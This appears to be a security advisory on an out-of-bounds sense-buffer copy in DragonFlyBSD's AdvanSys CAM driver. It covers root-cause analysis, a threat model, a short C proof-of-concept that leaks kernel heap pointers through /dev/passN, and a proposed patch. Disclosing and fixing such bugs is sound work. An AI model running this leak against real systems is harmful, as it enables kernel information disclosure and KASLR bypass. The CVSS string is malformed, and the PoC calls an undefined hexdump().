• File: sys/dev/disk/advansys/adwcam.c
• Lines: 383, 384, 1321, 1322, 1324
• Severity: High
• CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:H/I:H/A:N
• CWE: CWE-125 Out-of-bounds Read
• Confidence: certain

Summary

On command completion with SCSI_STATUS_CHECK_COND / SCSI_STATUS_CMD_TERMINATED, the AdvanSys CAM driver bcopy()s the autosense data using the raw, user-controlled ccb->csio.sense_len as the size, not the value it actually clamped before telling the firmware how many bytes to write.

Both the source (acb->sense_data, 32 bytes inside struct acb) and the destination (ccb->csio.sense_data, 32 bytes inside struct ccb_scsiio) are fixed 32-byte struct scsi_sense_data buffers, but csio->sense_len is a u_int8_t the caller can set as large as 255.

The result is an out-of-bounds read of up to 223 bytes of kernel heap past acb->sense_data (leaking kernel pointers and possibly another process's CDB) and an out-of-bounds write of those same bytes past ccb->csio.sense_data, corrupting cdb_len, sglist_cnt, resid, cdb_io, msg_ptr (a kernel pointer returned to userland), tag_action, tag_id, init_id, and other union ccb fields.

Root cause

At adwcam.c:383-384 the driver correctly clamps the value passed to the firmware:

acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data));

(sizeof(struct scsi_sense_data) == 32, see scsi_all.h:911-954, SSD_FULL_SIZE at scsi_all.h:953).

However, ccb->csio.sense_len itself is never updated.

At adwcam.c:1321-1322 the completion path does

bcopy(&acb->sense_data, &ccb->csio.sense_data, ccb->csio.sense_len);

using the original, unclamped user value (max 255).

The sibling driver sys/dev/disk/sym/sym_hipd.c:7210-7211 does this correctly with MIN(csio->sense_len, sense_returned), proving the intended pattern.

csio->sense_len is fully attacker-controlled: passsendccb() (scsi_pass.c:531-546) calls xpt_merge_ccb() (cam_xpt.c:3888-3900) which bcopy()s the post-ccb_hdr payload, including sense_len, verbatim from the user-supplied CCB. No CAM-layer validation clamps it.

Threat

Attacker is any local user with access to /dev/passN, which is created UID_ROOT/GID_OPERATOR mode 0600 (scsi_pass.c:279-280) — i.e., any member of the operator group (common for backup/CD-burning users).

The attacker opens /dev/passN, issues CAMIOCOMMAND (scsi_pass.c:462) with a ccb_scsiio whose sense_len is set to 255 (or any value > 32), func_code=XPT_SCSI_IO, and any CDB (e.g. TEST UNIT READY) directed at any target that returns CHECK CONDITION (a real SCSI disk with no media, an empty CD-ROM, or a target the attacker can force to fail).

The completion handler then over-reads kernel heap and over-writes the CCB tail.

Impact:

• (a) kernel heap information disclosure of ~223 bytes per request — acb->links (next pointer = kernel heap address), adjacent acb->queue.scsi_req_baddr, .sg_real_addr, .carrier_baddr, .sense_baddr (kernel bus addresses), the next acb's ccb/sg_blocks/dmamap kernel pointers, and an adjacent process's in-flight cdb[12] — yielding KASLR bypass and cross-process SCSI command leakage;
• (b) corruption of csio fields (msg_ptr becomes a kernel pointer returned to userland; resid, cdb_io, tag_id, init_id corrupted).

All returned bytes are readable by the attacker in the completed CCB.

This is a real primitive suitable for KASLR defeat and for chaining with other kernel bugs.

Exploit / PoC

Build and run as a user in the operator group against a DragonFlyBSD system with an AdvanSys (adw) HBA present.

/* leak.c — minimal repro of advansys sense-buffer OOB */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <camlib.h>
int main(void){
  int fd=open("/dev/pass0",O_RDWR);
  if(fd<0){ perror("open /dev/pass0 (need operator group)"); return 1; }
  union ccb ccb; cam_fill_csio(&ccb.csio, /*retries*/0, /*cbfcnp*/NULL,
      CAM_DIR_NONE|CAM_DEV_QFRZN, /*tag_action*/0, /*data_ptr*/NULL,
      /*dxfer_len*/0, /*timeout*/5000, /*sense_len*/255 /* <- over-size */,
      sizeof(scsi_test_unit_ready), 0);
  scsi_test_unit_ready(&ccb.csio, /*retries*/0, NULL, MSG_SIMPLE_Q_TAG,
      SSD_FULL_SIZE /*ignored downstream*/, 5000);
  if(ioctl(fd, CAMIOCOMMAND, &ccb)<0) perror("CAMIOCOMMAND");
  /* ccb.csio.msg_ptr, .cdb_io.cdb_bytes, .tag_id now hold kernel heap bytes */
  unsigned char *p=(unsigned char*)&ccb.csio.sense_data + 32;
  hexdump(p, 64); /* shows kernel pointers from adjacent acb->links / acb->queue */
  return 0;
}

Build: cc leak.c -o leak -lcam.

Run: ./leak.

Success criterion: hex dump after byte 32 of sense_data contains non-zero kernel pointers (addresses like 0xffff...) rather than zeros; on a system with KASLR this leaks the kernel heap base.

Repeatable across CHECK_CONDITION responses; do it twice to confirm deterministic leak.

Without an AdvanSys card attached, the driver's adw_action is not on the XPT path and the bug is unreachable; reproduce on a vm/image that boots adw(4) or with the adw module loaded against emulated AdvanSys PCI (vendor 0x10cd).

Recommended fix

Clamp the bcopy length to the smaller of the destination capacity and the source capacity, exactly as the firmware-side clamp at line 384 already does, and report the residual correctly against the clamped count.

--- a/sys/dev/disk/advansys/adwcam.c
+++ b/sys/dev/disk/advansys/adwcam.c
@@ -1316,8 +1316,14 @@ adw_intr(void *arg)
            case SCSI_STATUS_CHECK_COND:
            case SCSI_STATUS_CMD_TERMINATED:
+           {
+               u_int sense_copied;
+               sense_copied = MIN(ccb->csio.sense_len,
+                   MIN(sizeof(ccb->csio.sense_data),
+                       sizeof(acb->sense_data)));
                bcopy(&acb->sense_data, &ccb->csio.sense_data,
-                     ccb->csio.sense_len);
+                     sense_copied);
                ccb->ccb_h.status |= CAM_AUTOSNS_VALID;
-               ccb->csio.sense_resid = acb->queue.sense_len;
+               ccb->csio.sense_resid =
+                   ccb->csio.sense_len - sense_copied;
+           }
                /* FALLTHROUGH */

This bounds both the source read (to sizeof(acb->sense_data)) and the destination write (to sizeof(ccb->csio.sense_data)), matching the firmware-side clamp at adwcam.c:384 and the proven pattern in sys/dev/disk/sym/sym_hipd.c:7210-7211.

The sense_resid is corrected to reflect bytes the user requested but did not receive, which is the documented CAM autosense-residual semantic.